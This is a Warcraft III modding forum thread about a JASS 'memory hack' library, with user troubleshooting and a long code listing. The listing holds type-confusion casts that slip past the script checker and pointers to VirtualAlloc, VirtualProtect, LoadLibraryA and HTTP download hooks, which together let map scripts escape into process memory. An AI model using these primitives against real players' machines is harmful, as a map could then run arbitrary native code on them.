• 🏆 Texturing Contest #33 is OPEN! Contestants must re-texture a SD unit model found in-game (Warcraft 3 Classic), recreating the unit into a peaceful NPC version. 🔗Click here to enter!
  • It's time for the first HD Modeling Contest of 2024. Join the theme discussion for Hive's HD Modeling Contest #6! Click here to post your idea!

Memory hack

deepstrasz

Map Reviewer
Level 69
Joined
Jun 4, 2009
Messages
18,808
Level 9
Joined
Jun 21, 2012
Messages
432
20766194.jpg
 

LeP

LeP

Level 13
Joined
Feb 13, 2008
Messages
539
Isn't there any vJass macro to ignore the code block for syntax checking? For the main function //! inject main could be used.

jasshelper hasnt much to do with syntax-checking; that's the purpose of pjass.

Also i see no reason to use //! inject.
I have started to modularize the code but it's quite a bunch.
 
Level 9
Joined
Jun 21, 2012
Messages
432
I dont use WE at all, its out of my league.
Then it has to be implemented manually... Another question, is it possible to change the name of the main function? Would not it affect the overall system?
I have started to modularize the code but it's quite a bunch.
Does it mean that you are adapting the pjass to work with the NewGen?

--Suggestion--

Because this is a very broad and meaningful code for the game in general, I suggest that this code be implemented as a separate script (eg scripts\Memory.j) just like Blizzard.j and Common.j

EDIT: But the problem with this is that when compiling the map the JassHelper can read these functions.
 
Last edited:

LeP

LeP

Level 13
Joined
Feb 13, 2008
Messages
539
Does it mean that you are adapting the pjass to work with the NewGen?
pjass already has the ways to work with this.


Because this is a very broad and meaningful code for the game in general, I suggest that this code be implemented as a separate script (eg scripts\Memory.j) just like Blizzard.j and Common.j

No. I don't see no reason why this couldn't work with jasshelper.
I started putting this into different files and libraries.
That's what i meant (and adding the neccessary pjass annotations). But the code is very strongly-coupled which makes splitting it up into different libraries somewhat difficult. And the sheer size is another problem.
 
Level 19
Joined
Dec 12, 2010
Messages
2,069
worth nothing:
1) if you gonna use Vexorian, make sure to add "stand" variable to exclude list of variables to rename, as well as disable garbage removal (typecast functions aren't called, being removed and that breaks whole thing)
2) array access works with UNSIGNED argument. It means you can use something like Memory[0xE0000000] and it will be just fine, instead of trying to reach signed value (which would be negative). But it also could cause access error since game normally won't use that high addresses.
 

Rui

Rui

Level 41
Joined
Jan 7, 2005
Messages
7,550
This is the reason I also believe, Blizzard will never conscript volunteers from the community to help release an unofficial 2.0 major patch. Sorry @Rui, but from a corporate perspective, third-parties can really be trouble sometimes.
So, I'm a bit lost, but the examples following your post seem to suggest it wouldn't be impossible for it to happen?
 

pyf

pyf

Level 32
Joined
Mar 21, 2016
Messages
2,985
So, I'm a bit lost, but the examples following your post seem to suggest it wouldn't be impossible for it to happen?
@Rui: All I can say is, it has already been done by other gaming companies. As another example, see Epic Games with the OldUnreal Community Patch project for Unreal. Additional info here. The Unreal Engine 1 source code is still not open-source afaik.

Now, Blizzard never released any of their source codes. Nor allowed any third parties to have access to even parts of them afaik.

Maybe they are cautious with third parties, because they were kind of unlucky/unsatisfied with a few of them in the past:


It is my guess, any kind of collaborative work with them can currently happen only through work for hire. That way, they can keep control and protect both themselves and their franchises.

That being said, in-house development is certainly much easier to manage.


Now, it has already been suggested in another thread, to send them community-fixed resources. Not sure what happened afterwards...

Also was Blizzard officially made aware, the WC3 memory tool went live? And if yes, how did they react to it?
 
Last edited:
Level 19
Joined
Dec 12, 2010
Messages
2,069
I have implemented the code successfully on my project, now I have one question:

Is it possible to change the map size limit to 16mb or another amount?
sure, but with one issue - patch will be applied once map is already downloaded and loaded. since limits are checked on join lobby, you won't get chance to distribute map via online. but you can compile a simple "run-to-remove-map-limit.w3x" map which will only remove limit for this wc3 session. anyway, it's not really an option, unless your audience capable of that
 
Level 9
Joined
Jun 21, 2012
Messages
432
sure, but with one issue - patch will be applied once map is already downloaded and loaded. since limits are checked on join lobby, you won't get chance to distribute map via online. but you can compile a simple "run-to-remove-map-limit.w3x" map which will only remove limit for this wc3 session. anyway, it's not really an option, unless your audience capable of that

Using memory hack? Or an external api?
_____________________________________________________________________

I have tested some functions, some seem to work well and others do not:

call BJDebugMsg(I2S(GetLocalTime(-1))+":"+I2S(GetLocalTime(2))))
I've tried with:
call BJDebugMsg(I2S(GetLocalTime(1))+":"+I2S(GetLocalTime(2))))
call BJDebugMsg(I2S(GetLocalTime(3))+":"+I2S(GetLocalTime(2))))
Correctly displays minutes but not the hours, and it also shows me a warning msg:

wc3scrnshot_111616_204644_01-png.252853


GetCurrentMapDir: Show a null msg
SetUnitGreenBonusDamage: Increases base damage, but not bonus. It should be the opposite
SetUnitFacingInstant: Works fine
SetStunToUnit: Works fine

I have searched a function that hides a unit for a specific player, I use these:
SetUnitVisiblePartiallyByPlayer and this oneMofidyUnitVisibleByPlayer: But it does not seem to work...

EDIT: I will read your new Thread.
 

Attachments

  • WC3ScrnShot_111616_204644_01.png
    WC3ScrnShot_111616_204644_01.png
    963.3 KB · Views: 520
Last edited:
Level 13
Joined
Oct 18, 2013
Messages
690
Interesting to see the get LocalTime to return the hour doesn't work for TriggerHappy, while it works fine for me. I'm having trouble getting anything out of a lot of the SetX functions, though. On the other hand, most of the GetX trigs DO work.


List of Functions that I can't seem to get to do anything proper;
Get/Set Unit Hp/Mp Regen
Set MaxHP/MP




For SuperTextPrinter's, is there anyway to change the size? Is color supposed to be entered in some other way than the normal? (I ask this because neither 2 or 3 creates teal, while I've gotten Blue out of 100) Your API states that the real is the staytime, but it appears to be linked to the delay before the text is shown, staytime seems constant at ~1s.

  • API Test
    • Events
      • Player - Player 1 (Red) Presses the Up Arrow key
    • Conditions
    • Actions
      • Custom script: local real r=GetUnitArmor(udg_u)
      • Custom script: call DisplayTextToForce( GetPlayersAll(), "This Shows")
      • Custom script: call SetUnitArmor(udg_u,(r-5.0))
      • Custom script: call DisplayTextToForce( GetPlayersAll(), "Only shows if above line is not run")
      • Custom script: call DisplayTextToForce( GetPlayersAll(), R2S(r))
      • Custom script: call DisplayTextToForce( GetPlayersAll(), "This never shows.")
in this test, SetUnitArmor itself didn't crash the trig, it was anything that referenced r. This is a problem. If there in no documentation on what/when trigs will crash trigger execution, then this API is unstable.




I haven't run enough tests to make a decisive claim, but it seems locals cannot reference any of your script. Take the following;

Code:
local real r=GetUnitAttackRange1(u)
set udg_r=GetUnitAttackRange1(udg_u)

call DisplayTextToForce( GetPlayersAll(), R2S(r)) //crashes the trigger and displays nothing.
call DisplayTextToForce( GetPlayersAll(), R2S(udg_r))  //while unfunctional, (displays 0.0) does NOT crash the trigger.

Tests done on SinglePlayer & LAN with 1.27 on Win7
 
Last edited:
Level 13
Joined
Oct 18, 2013
Messages
690
Is there something wrong I'm doing? Hopefully I have implemented your code wrong, because it would be a genuine bummer if this Memory hack was unstable across PCs. Seeing as TriggerHappy uses Win10, I thought possibly some ShellExecute function calls may not work the same as on a Win7 machine (which is what I am using.) Would explain why he cant GetLocalTime(3) wouldn't work for him, while it works fine for me.
 
Last edited:
Level 7
Joined
Jan 23, 2011
Messages
350
I have a question about editing from outside the WE
¿how do you modify terrain?
and
¿how do you have a reference to know where to position your initials units and destructables? although i guess that the first question it'll answer the second
 
Level 13
Joined
Oct 18, 2013
Messages
690
Only changed the function main to main2 and added this
Code:
private module mhInit
        static method onInit takes nothing returns nothing
            call ExecuteFunc("main2")
        endmethod
    endmodule
    private struct a extends array
        implement mhInit
    endstruct

It is either your code, me incorrectly using your main func., or me passing arguments incorrectly.

Does SetUnitMaxHP work? If so, is this a correct call to set a unit's max life to 1k?
SetUnitMaxHP(udg_u,1000.0)
 
Level 9
Joined
Jun 21, 2012
Messages
432
Seeing as TriggerHappy uses Win10
Its Trigger.edge xD

_________________________________________________________________________

Draco if you plain to update your MH should implement the GetTriggeringTrackablePlayer() function to Trackable API.

And another thing, it would not hurt if you would provide a example map, to clarify our doubts :rolleyes:
 
Level 13
Joined
Oct 18, 2013
Messages
690
Hopefully API gets fixed soon. If you want, I could make an extensive live of which API works and which doesn't.
 
[MemoryHacks] NewGen Integration

I've been working on integrating this API with JNGP the past day. I still have a lot of work to do but I figured I'd post my current progress since it may be useful to some.

I wrote a tool which will automatically add the JASS code to your map. Currently, it does not work when using JassHelper, so disable it.

To use it simply enable "Allow JASS Memory Hacks" from the Extensions tab and save your map. You should probably keep a backup as well. I'll post a new thread once it's complete.

Save the attached map in JNGP and run it, and a message box should appear, meaning the API can be used.
 
Last edited:
Level 9
Joined
Jun 21, 2012
Messages
432
Another option is the traditional way:

JASS:
library MemoryHack
// reserved native for call 4 integer function and return BOOLEAN value
native MergeUnits          takes integer qty, integer a, integer b, integer make returns boolean
// reserved native for call 2 integer function and return BOOLEAN value (can be converted to int!)
native ConvertUnits         takes integer qty, integer id               returns boolean
// reserved native for call 1 integer function and return integer value
native IgnoredUnits        takes integer unitid                        returns integer

// https://github.com/Karaulov/WarcraftIII_DLL_126-xxx (EXTRADLLNAME)
// DLL is helpful ally which makes game easire
// Basically there's no jass-way to detect whenever player leaves to rollback changes
// so DLL does it for you with "AddNewOffsetToRestore" function
// if DLL is missing global changes you did will affect whole game until it's restarted
// You can detect function which uses DLL by "GetModuleProcAddress(EXTRADLLNAME" part inside of them\

globals
    integer TempInteger=0
    integer Temp_GetSomeAdd1=0
    integer Temp_GetSomeAdd2=0
    integer DamageIncrementer=0
    real array DamageValues
    integer array DamageAttackTypes
    integer array DamageDamageTypes
    player LocalPlayer=null
    hashtable TempHash=InitHashtable()
    hashtable RectData = InitHashtable()
    hashtable HY=InitHashtable()
    boolean IsL1ch=true//used in "echo" function to display debug messages

    boolean array WidescreenState
    real GJ_LastDmg=0//outdated yet could be useful
    integer GJ_LastDamageType=0
    integer GJ_LastAttackType=0

    hashtable ObjectDataPointersTable=InitHashtable()

    timer SuperTextPrinter_Timer=null
    hashtable AbilitiesHashtable=InitHashtable()

    integer testFunctionCount = 0
    integer latestAddress1 = 0
    integer latestAddress2 = 0

    integer array Ascii__Ints
    string array Ascii__Chars

    code l__Code
    integer l__Int
    string l__Str
    boolean l__Bool
    code Code
    integer Int
    string Str
    boolean Bool

    constant string dotaconfigfle="config.dota"
   
    integer array Array
    integer array l__Array

    string array HexNumber__Chars

    integer bytecode
    integer array l__bytecode
    integer array Memory
    integer bytecodedata //used to pass data between regular code and bytecode
    integer GameState
    integer pointers
    integer pUnitData
    integer pAbilityData

    constant gametype GAME_TYPE_ALL= ConvertGameType(0xFFFFFFFF)

    integer array H
    //trigger l__library_init


    // For SetUnitFlags_2 (unit+0x20)
    constant integer UNIT_VISIBLED_TO_ALL         = 0x10
    constant integer UNIT_INVULNERABLE             = 0x8
    constant integer UNIT_SELECTABLE             = 0x2
    constant integer UNIT_HIDDEN                 = 0x1
    constant integer UNIT_AUTOATTACK_DISABLED=0x10000000
    constant integer UNIT_ILLUSION=0x40000000

    // For SetUnitFlags (unit+0xD4)
    //flag 0x4 causes fatal if any damage received
    //flag 0x40 stands for red flash, but doesn't directly calls it
    constant integer UNIT_DEAD = 0x100
    //like dead hero, provides no vision, cant be selected, enemies doesn't flee when attacked by unit with this flag
    constant integer UNIT_MINMAP_ICON_HIDE        = 0x80000
    constant integer UNIT_MINMAP_ICON_TAVERN    = 0x40000
    constant integer UNIT_MINMAP_ICON_GOLD        = 0x20000
    constant integer UNIT_MINMAP_SHAREVISIBLE    = 0x10000
    constant integer UNIT_STUNNED= 0x100000
    constant integer UNIT_INVISIBLED             = 0x1000000
    constant integer UNIT_HAS_FLYING_VISION= 0x20000000

    integer pCameraDefaultHeight
    real array DefaultCameraHeight

    // 126a 0xAB65F4
    // 127a 0xBE4238
    integer pGlobalPlayerClass

    // 127a 0xBEC464
    // 126a 0xAB4450
    integer pUnitMaxSpeedConstant
    integer pUnitMaxSpeedConstantD

    real     UnitMaxSpeedConstant
    // 127a 0xBEC460
    // 126a 0xAB444C
    integer pUnitMinSpeedConstant
    integer pUnitMinSpeedConstantD

    real     UnitMinSpeedConstant
    // 127a 0xBEC46C
    // 126a 0xAB4458
    integer pBuildingMaxSpeedConstant
    integer pBuildingMaxSpeedConstantD

    real    BuildingMaxSpeedConstant
    // 127a 0xBEC468
    // 126a 0xAB4454
    integer pBuildingMinSpeedConstant
    integer pBuildingMinSpeedConstantD

    real     BuildingMinSpeedConstant
    integer pUnitUIDefAddr
    integer pUnitDataDefAddr
    integer pAbilityUIDefAddr
    integer pAbilityDataDefAddr

    integer pAttackSpeedLimit
    real    AttackSpeedLimit

    integer pAttackTimeLimit
    real    AttackTimeLimit

    integer pWar3MapJLocation=0


    integer pGameClass1=0
    integer pGameClass2=0
    integer pGameClass3=0
    integer pTimerAddr=0
    integer pCGameState=0

    integer pJassEnvAddress=0

    integer pLightEnv=0

    integer pGetModuleHandle=0
    integer pGetProcAddress=0

    integer GameDLL=0
    integer GameVersion=0

    integer pMergeUnits=0
    integer pMergeUnitsOffset=0
    integer pIgnoredUnits=0
    integer pIgnoredUnitsOffset=0
    integer pConvertUnits=0
    integer pConvertUnitsOffset=0
    integer pLeaderboardSetItemLabelColor=0

    integer pSetHPBarColorForPlayer=0
    integer pSetHPBarXScaleForPlayer=0
    integer pSetHPBarYScaleForPlayer=0

    integer pSetHPCustomHPBarUnit=0


    integer pSetMPBarXScaleForPlayer=0
    integer pSetMPBarYScaleForPlayer=0
    integer pSetMPBarYOffsetForPlayer=0


    integer pExportFromMpq=0
    integer pGetFrameItemAddress=0
    integer pGetFrameSkinAddress=0
    integer pGetFrameTextAddress=0
    integer pUpdateFrameText=0

    integer pFrameDefClass=0
    integer pConvertString=0
    integer pPacketClass=0
    integer pPacketSend=0


    integer pPingMinimapOffset=0
    integer pPingMinimapExOffset=0

    integer PingMinimapUnlocker = 0
    integer PingMinimapExUnlocker = 0
    boolean NotLockedPingMinimap = true
    boolean NotLockedPingMinimapEx = true

    integer pFindWindowA=0
    integer pMessageBoxA=0
    integer pGetAsyncKeyState=0
    integer pWritePrivateProfileStringA=0
    integer pGetPrivateProfileStringA=0
    integer pLoadLibraryA=0
    integer pGetFileAttributesA=0
    integer pVirtualAlloc=0
    integer pVirtualProtect=0

    integer array RJassNativesBuffer
    integer RJassNativesBufferSize = 0


    integer pReservedExecutableMemory=0
    integer pReservedExecutableMemory2=0
    integer pBitwiseOR_ExecutableMemory
    boolean NeedInitBitwiseOr = true
    integer pBitwiseXOR_ExecutableMemory
    boolean NeedInitBitwiseXor = true
    integer pBitwiseAND_ExecutableMemory
    boolean NeedInitBitwiseAnd = true

    integer pReservedWritableMemory
    integer pReservedWritableMemory2

    constant integer szReservedWritableMemory = 3000

    integer pStorm279
    integer pPrintText1
    integer pPrintText2
    integer pPrintText3
    integer pGetUnitAbility
    integer pGetUnitAddress
    integer p_sprintf
    integer pChangeFont

    integer pUpdateRestoreTimer=0
    integer pAddNewOffsetToRestore=0
    constant string EXTRADLLNAME="DotAAllstarsHelper688.dll"

    integer pReserverdIntArg1
    integer pReserverdIntArg2
    integer pReserverdIntArg3
    integer pReserverdIntArg4
    hashtable Addresses=InitHashtable()
    constant integer DEF_ADR_ABILITY_DATA=0
    constant integer DEF_ADR_ABILITY_UI=1
    constant integer DEF_ADR_UNIT_DATA=2
    constant integer DEF_ADR_UNIT_UI=3
    constant integer DEF_ADR_ITEM_DATA=4
    constant integer ILLUSTION_BONUS_DAMAGE_RECEIVES=0
    constant integer ILLUSTION_BONUS_DAMAGE_DEALS=1

    integer pOrder1_offset
    integer pOrder2_offset
    integer pOrder3_offset
    integer pOrder4_offset
    integer pOrder5_offset
    integer pOrder6_offset
    integer pOrder7_offset
    integer pOrder8_offset
    integer Order1_unlockedvalue = 0
    integer Order2_unlockedvalue = 0
    integer Order3_unlockedvalue = 0
    integer Order4_unlockedvalue = 0
    integer Order5_unlockedvalue = 0
    integer Order6_unlockedvalue = 0
    integer Order7_unlockedvalue = 0
    integer Order8_unlockedvalue = 0
    integer Order1_lockedvalue
    integer Order2_lockedvalue
    integer Order3_lockedvalue
    integer Order4_lockedvalue
    integer Order5_lockedvalue
    integer Order6_lockedvalue
    integer Order7_lockedvalue
    integer Order8_lockedvalue
    boolean IsOrder1Locked = false
    boolean IsOrder2Locked = false
    boolean IsOrder3Locked = false
    boolean IsOrder4Locked = false
    boolean IsOrder5Locked = false
    boolean IsOrder6Locked = false
    boolean IsOrder7Locked = false
    boolean IsOrder8Locked = false

    boolean FogUpdateBlocked = false
    integer pUpdateFogManual=0
    integer pFogUpdateBlockAddr=0
    integer pFogUpdateBlockAddrOld1=0
    integer pFogUpdateBlockAddrOld2=0
    integer pFogUpdateBlockAddrNew1=0
    integer pFogUpdateBlockAddrNew2=0

    integer pGetLatestDownloadedString = 0
    integer pGetDownloadStatus = 0
    integer pSaveNewMapFromUrl = 0
    integer pGetDownloadProgress = 0
    integer pGetCurrentMapDir = 0

    integer pStartAbilityCD=0

    integer pSendCommandWithoutTarget
    integer pMissile
    integer pWindowIsActive
    integer pSendHttpGetRequest = 0
    integer pAllianceOutput
    integer AllianceLocker = 0
    boolean NotLockedAllianceOutput = true

    integer pMutePlayer=0
    integer pUnMutePlayer=0

    integer pSetWidescreenFixState=0
    integer pSetCustomFovFix=0

    boolean EXTRADLLLOADED = false

    integer RegionEditMode = 0
    real LatestMouseX = 0.
    real LatestMouseY = 0.
    integer LatestSelectRect = 0
    integer LatestOverRect = 0


    integer gl_hRectID = 0

    integer OPLimitAddress1=0
    integer OPLimitAddress2=0
    integer pCycloneFixCondition=0
    constant integer CycloneFixCondition026a=0x808B08EB
    integer CycloneFixBaseValue=0
    constant integer CycloneFixCondition027a=0x458B16EB
    integer pCaptionsOverTheCreeps=0
    integer pPhaseShiftInvisibilityFlagByte=0
    constant integer PhaseShiftInvisibilityFlagByteFixed0x26=0x00000060
    constant integer PhaseShiftInvisibilityFlagByteFixed0x27=0x00000060

    integer pMemcpy
    integer pSearchStringValue
    integer pSearchStringAddr1
    integer pSearchStringAddr2

    integer pReservedMemoryForUpdateFrameText

    integer pSimulateAttackInstance
    integer pGameTime

    integer pToggleForcedSubSelection=0
    integer pToggleBlockKeyAndMouseEmulation=0
    integer pToggleClickHelper=0

    integer pSetStunToUnitTRUE
    integer    pSetStunToUnitFALSE

    integer pReservedMemoryForSystemTime
    integer pGetLocalTime=0

    integer pCommonSilence
    integer pAddSilenceOnAbility
    integer pRemoveSilenceFromAbility
    integer pPauseUnitDisabler

    integer pUpdateUnitsSpeedCurrent

    integer pSendMessageToChat=0

    integer pCastSilenceToTarget
    integer pCastAbility=0

    integer pDamageBlockIllusionCheck=0

    integer pItemDropOrderTriggerFix=0

    integer pFixModelCollisionSphere=0

    integer pGetOrLoadFile
    integer pApplyTerrainFilterDirectly=0
    integer pSetMainFuncWork=0
    integer pFixModelTexturePath=0

    integer StoreIntegerOffset = 0
    integer StoreIntegerUnlocker = 0
    boolean StoreIntegerLocked = false

    integer pPatchModel = 0
    integer pChangeAnimationSpeed = 0
    integer pSetSequenceValue = 0
    integer pRedirectFile = 0
    integer pReservedMemoryForMissileHandler=0
    integer pReservedMemoryForDamageHandler=0
    integer pUnitVtable = 0
    integer pRealUnitDamageHandler = 0
    integer pTriggerExecute = 0
    integer pDamageTarget = 0
    integer pMissileEspData = 0
    integer pDamageEspData = 0
    integer pMissileFuncStart = 0
    integer pMissileJumpBack = 0
    integer pItemDataNode=0
    integer pJassLog = 0
endglobals

function Char2Ascii takes string s returns integer
    local integer i= Ascii__Ints[StringHash(s) / 0x1F0748 + 0x3EA]
    if i == 47 and s == "\\" then
        set i=92
    elseif i >= 65 and i <= 90 and s != Ascii__Chars[i] then
        set i=i + 32
    endif
    return i
endfunction

function Char2Hex takes string s returns integer
    local integer i= Ascii__Ints[StringHash(s) / 0x1F0748 + 0x3EA]
    if i >= 48 and i <= 57 then
        return i - 48
    elseif i >= 65 and i <= 70 then
        return i - 55
    endif
    return - 1
endfunction

function Ascii2Char takes integer i returns string
    return Ascii__Chars[i]
endfunction

function Ascii__onInit takes nothing returns nothing
    set Ascii__Ints[931]=8
    set Ascii__Ints[1075]=9
    set Ascii__Ints[1586]=10
    set Ascii__Ints[1340]=12
    set Ascii__Ints[412]=13
    set Ascii__Ints[198]=32
    set Ascii__Ints[1979]=33
    set Ascii__Ints[1313]=34
    set Ascii__Ints[1003]=35
    set Ascii__Ints[1264]=36
    set Ascii__Ints[983]=37
    set Ascii__Ints[1277]=38
    set Ascii__Ints[306]=39
    set Ascii__Ints[904]=40
    set Ascii__Ints[934]=41
    set Ascii__Ints[917]=42
    set Ascii__Ints[1972]=43
    set Ascii__Ints[1380]=44
    set Ascii__Ints[1985]=45
    set Ascii__Ints[869]=46
    set Ascii__Ints[1906]=47
    set Ascii__Ints[883]=48
    set Ascii__Ints[1558]=49
    set Ascii__Ints[684]=50
    set Ascii__Ints[582]=51
    set Ascii__Ints[668]=52
    set Ascii__Ints[538]=53
    set Ascii__Ints[672]=54
    set Ascii__Ints[1173]=55
    set Ascii__Ints[71]=56
    set Ascii__Ints[277]=57
    set Ascii__Ints[89]=58
    set Ascii__Ints[1141]=59
    set Ascii__Ints[39]=60
    set Ascii__Ints[1171]=61
    set Ascii__Ints[51]=62
    set Ascii__Ints[305]=0 //fixme 63
    set Ascii__Ints[0]=64
    set Ascii__Ints[222]=65
    set Ascii__Ints[178]=66
    set Ascii__Ints[236]=67
    set Ascii__Ints[184]=68
    set Ascii__Ints[1295]=69
    set Ascii__Ints[1390]=70
    set Ascii__Ints[1276]=71
    set Ascii__Ints[203]=72
    set Ascii__Ints[1314]=73
    set Ascii__Ints[209]=74
    set Ascii__Ints[1315]=75
    set Ascii__Ints[170]=76
    set Ascii__Ints[1357]=77
    set Ascii__Ints[1343]=78
    set Ascii__Ints[1397]=79
    set Ascii__Ints[1420]=80
    set Ascii__Ints[1419]=81
    set Ascii__Ints[1396]=82
    set Ascii__Ints[1374]=83
    set Ascii__Ints[1407]=84
    set Ascii__Ints[499]=85
    set Ascii__Ints[1465]=86
    set Ascii__Ints[736]=87
    set Ascii__Ints[289]=88
    set Ascii__Ints[986]=89
    set Ascii__Ints[38]=90
    set Ascii__Ints[1230]=91
    set Ascii__Ints[1636]=93
    set Ascii__Ints[1416]=94
    set Ascii__Ints[1917]=95
    set Ascii__Ints[217]=96
    set Ascii__Ints[833]=123
    set Ascii__Ints[1219]=124
    set Ascii__Ints[553]=125
    set Ascii__Ints[58]=126

    set Ascii__Chars[0]="?"
    set Ascii__Chars[8]="\b"
    set Ascii__Chars[9]="\t"
    set Ascii__Chars[10]="\n"
    set Ascii__Chars[12]="\f"
    set Ascii__Chars[13]="\r"
    set Ascii__Chars[32]=" "
    set Ascii__Chars[33]="!"
    set Ascii__Chars[34]="\""
    set Ascii__Chars[35]="#"
    set Ascii__Chars[36]="$"
    set Ascii__Chars[37]="%"
    set Ascii__Chars[38]="&"
    set Ascii__Chars[39]="'"//'
    set Ascii__Chars[40]="("
    set Ascii__Chars[41]=")"
    set Ascii__Chars[42]="*"
    set Ascii__Chars[43]="+"
    set Ascii__Chars[44]=","
    set Ascii__Chars[45]="-"
    set Ascii__Chars[46]="."
    set Ascii__Chars[47]="/"
    set Ascii__Chars[48]="0"
    set Ascii__Chars[49]="1"
    set Ascii__Chars[50]="2"
    set Ascii__Chars[51]="3"
    set Ascii__Chars[52]="4"
    set Ascii__Chars[53]="5"
    set Ascii__Chars[54]="6"
    set Ascii__Chars[55]="7"
    set Ascii__Chars[56]="8"
    set Ascii__Chars[57]="9"
    set Ascii__Chars[58]=":"
    set Ascii__Chars[59]=";"
    set Ascii__Chars[60]="<"
    set Ascii__Chars[61]="="
    set Ascii__Chars[62]=">"
    set Ascii__Chars[63]="?"
    set Ascii__Chars[64]="@"
    set Ascii__Chars[65]="A"
    set Ascii__Chars[66]="B"
    set Ascii__Chars[67]="C"
    set Ascii__Chars[68]="D"
    set Ascii__Chars[69]="E"
    set Ascii__Chars[70]="F"
    set Ascii__Chars[71]="G"
    set Ascii__Chars[72]="H"
    set Ascii__Chars[73]="I"
    set Ascii__Chars[74]="J"
    set Ascii__Chars[75]="K"
    set Ascii__Chars[76]="L"
    set Ascii__Chars[77]="M"
    set Ascii__Chars[78]="N"
    set Ascii__Chars[79]="O"
    set Ascii__Chars[80]="P"
    set Ascii__Chars[81]="Q"
    set Ascii__Chars[82]="R"
    set Ascii__Chars[83]="S"
    set Ascii__Chars[84]="T"
    set Ascii__Chars[85]="U"
    set Ascii__Chars[86]="V"
    set Ascii__Chars[87]="W"
    set Ascii__Chars[88]="X"
    set Ascii__Chars[89]="Y"
    set Ascii__Chars[90]="Z"
    set Ascii__Chars[91]="["
    set Ascii__Chars[92]="\\"
    set Ascii__Chars[93]="]"
    set Ascii__Chars[94]="^"
    set Ascii__Chars[95]="_"
    set Ascii__Chars[96]="`"
    set Ascii__Chars[97]="a"
    set Ascii__Chars[98]="b"
    set Ascii__Chars[99]="c"
    set Ascii__Chars[100]="d"
    set Ascii__Chars[101]="e"
    set Ascii__Chars[102]="f"
    set Ascii__Chars[103]="g"
    set Ascii__Chars[104]="h"
    set Ascii__Chars[105]="i"
    set Ascii__Chars[106]="j"
    set Ascii__Chars[107]="k"
    set Ascii__Chars[108]="l"
    set Ascii__Chars[109]="m"
    set Ascii__Chars[110]="n"
    set Ascii__Chars[111]="o"
    set Ascii__Chars[112]="p"
    set Ascii__Chars[113]="q"
    set Ascii__Chars[114]="r"
    set Ascii__Chars[115]="s"
    set Ascii__Chars[116]="t"
    set Ascii__Chars[117]="u"
    set Ascii__Chars[118]="v"
    set Ascii__Chars[119]="w"
    set Ascii__Chars[120]="x"
    set Ascii__Chars[121]="y"
    set Ascii__Chars[122]="z"
    set Ascii__Chars[123]="{"
    set Ascii__Chars[124]="|"
    set Ascii__Chars[125]="}"
    set Ascii__Chars[126]="~"
endfunction


//library Ascii ends
//library Typecast:


function InitArray takes integer vtable returns nothing
    set l__Array[4] = 0
    set l__Array[1] = vtable
    set l__Array[2] = -1
    set l__Array[3] = -1
endfunction

private function TypecastArray takes nothing returns nothing
    local integer Array //typecast Array to integer
endfunction

//# +nosemanticerror
function GetArrayAddress takes nothing returns integer //not really needed
    loop
        return l__Array
    endloop
    return 0
endfunction

function setCode takes code c returns nothing
    set l__Code=c
    return //Prevents Jasshelper from inlining this function
endfunction

function setInt takes integer i returns nothing
    set l__Int=i
    return //Prevents JassHelper from inlining this function
endfunction

function setStr takes string s returns nothing
    set l__Str = s
    return //Prevents JassHelper from inlining this function
endfunction

function setBool takes boolean b returns nothing
    set l__Bool = b
    return
endfunction

private function Typecast1 takes nothing returns nothing
    local integer Code
    local code Int
endfunction

//# +nosemanticerror
function C2I takes code c returns integer
    call setCode(c)
    loop //Loop is not required, I'm using it just to fool Pjass
        return l__Code
    endloop
    return 0
endfunction

//# +nosemanticerror
function I2C takes integer i returns code
    call setInt(i)
    loop //Loop is not required, I'm using it just to fool Pjass
        return l__Int
    endloop
    return null
endfunction

private function Typecast2 takes nothing returns nothing
    local integer Str
    local string Int
endfunction

//# +nosemanticerror
function SH2I takes string s returns integer
    call setStr(s)
    loop //Loop is not required, I'm using it just to fool Pjass
              return l__Str
    endloop
    return 0
endfunction

//# +nosemanticerror
function I2SH takes integer i returns string
    call setInt(i)
    loop //Loop is not required, I'm using it just to fool Pjass
              return l__Int
    endloop
    return null
endfunction

private function Typecast3 takes nothing returns nothing
    local integer Bool
    local boolean Int
endfunction

//# +nosemanticerror
function B2I takes boolean b returns integer
    call setBool(b)
    loop //Loop is not required, I'm using it just to fool Pjass
          return l__Bool
    endloop
    return 0
endfunction

//# +nosemanticerror
function I2B takes integer i returns boolean
    call setInt(i)
    loop //Loop is not required, I'm using it just to fool Pjass
            return l__Int
    endloop
    return false
endfunction

//# +nosemanticerror
    function realToIndex takes real r returns integer
        loop
            return r
        endloop
        return 0
    endfunction

    function cleanInt takes integer i returns integer
        return i
    endfunction

    //# +nosemanticerror
    function indexToReal takes integer i returns real
        loop
            return i
        endloop
        return 0.0
    endfunction

    function cleanReal takes real r returns real
        return r
    endfunction

function GetRealFromMemory takes integer i returns real
    return cleanReal(indexToReal(i))
endfunction

function SetRealIntoMemory takes real r returns integer
    return cleanInt(realToIndex(r))
endfunction

//library Typecast ends
//library HexNumber:

function BitwiseNot takes integer i returns integer
    return 0xFFFFFFFF - i
endfunction

function PowI takes integer x, integer power returns integer
    local integer res=1
    local integer y=x
    if power==0 then
        return 1
    endif
    set power=power-1
    loop
        set x=x*y
        set power=power-1
        exitwhen power==0
    endloop
    return x
endfunction


function ShiftLeftForBits takes integer i, integer shiftval returns integer
    return i * (PowI(2,shiftval))
endfunction

function ShiftRightForBits takes integer i, integer shiftval returns integer
    return i / (PowI(2,shiftval))
endfunction

function ShiftLeftForBytes takes integer i, integer shiftval returns integer
    return ShiftLeftForBits(i,shiftval * 8)
endfunction

function ShiftRightForBytes takes integer i, integer shiftval returns integer
    return ShiftRightForBits(i,shiftval * 8)
endfunction



function GetByteFromInteger takes integer i, integer byteid returns integer
    local integer tmpval = i
    local integer retval = 0
    local integer byte1 = 0
    local integer byte2 = 0
    local integer byte3 = 0
    local integer byte4 = 0
    if (tmpval < 0) then
        set tmpval = BitwiseNot(tmpval)
        set byte4 = 255 - ModuloInteger(tmpval,256)
        set tmpval = tmpval / 256
        set byte3 = 255 - ModuloInteger(tmpval,256)
        set tmpval = tmpval / 256
        set byte2 = 255 - ModuloInteger(tmpval,256)
        set tmpval = tmpval / 256
        set byte1 = 255 - tmpval
    else
        set byte4 =  ModuloInteger(tmpval,256)
        set tmpval = tmpval / 256
        set byte3 =  ModuloInteger(tmpval,256)
        set tmpval = tmpval / 256
        set byte2 =  ModuloInteger(tmpval,256)
        set tmpval = tmpval / 256
        set byte1 = tmpval
    endif

    if byteid == 1 then
        return byte1
    elseif byteid == 2 then
        return byte2
    elseif byteid == 3 then
        return byte3
    elseif byteid == 4 then
        return byte4
    endif


    return retval
endfunction


